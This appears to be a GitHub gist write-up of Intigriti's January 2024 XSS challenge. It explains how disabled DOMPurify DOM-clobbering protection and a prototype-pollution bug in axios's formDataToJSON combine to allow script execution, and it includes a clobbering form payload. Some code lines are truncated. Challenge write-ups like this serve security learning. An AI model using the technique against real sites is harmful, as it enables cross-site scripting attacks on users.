Skip to content

Instantly share code, notes, and snippets.

Last active March 17, 2024 22:26
Show Gist options
  • Save sebastianosrt/804b9145bf491ba76107d26d9869bdd9 to your computer and use it in GitHub Desktop.
Save sebastianosrt/804b9145bf491ba76107d26d9869bdd9 to your computer and use it in GitHub Desktop.
Intigriti's 0124 XSS Challenge Writeup

Intigriti's 0124 XSS Challenge Writeup

Challenge URL

Goal: Find a way to execute arbitrary javascript on the iFramed page and win Intigriti swag.

This is a simple web page that lets to set a username and to search for a repo. If the search is successfull the page will load an image and the repo's website in an iframe. The sources of the challege are provided.

Source code analysis


  • The endpoint of interest is '/':
app.get("/", (req, res) => {
    if (! {
    res.render("search", {
        name: DOMPurify.sanitize(, { SANITIZE_DOM: false }),
  • The name parameter is sanitized with DOMPurify, with the option SANITIZE_DOM set to false. Searching on the documentation:
// disable DOM Clobbering protection on output (default is true, handle with care, minor XSS risks here)
const clean = DOMPurify.sanitize(dirty, {SANITIZE_DOM: false});
  • So SANITIZE_DOM disables protection against DOM Clobbering.


  • The page uses axios to retreive the search results:
    function search(name) {
        $("img.loading").attr("hidden", false);"/search", $("#search").get(0), {
            "headers": { "Content-Type": "application/json" }
        }).then((d) => {
            $("img.loading").attr("hidden", true);
            const repo =;
            if (!repo.owner) {
                alert("Not found!");

            $("img.avatar").attr("src", repo.owner.avatar_url);
            if (repo.homepage && repo.homepage.startsWith("https://")) {
                    "src": repo.homepage,
                    "hidden": false

    window.onload = () => {
        const params = new URLSearchParams(;
        if (params.get("search")) search();

        $("#search").submit((e) => {
  • Client-Side prototype pollution in axios formDataToJSON

The search form HTML element is passed directly to axios: $("#search").get(0)

Axios automatically takes the data to send from an HTML form element, using the formDataToJSON function which is vulnerable to prototype pollution according to this commit


DOM Clobbering + prototype pollution

  • We can set the name query param to this:
<form id=search>
	<input name="__proto__.owner" value="x">
	<input name="__proto__.homepage" value="">
  • With this payload the owner check will be bypassed and the homepage property will be polluted, leading to xss
  • Exploit url:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment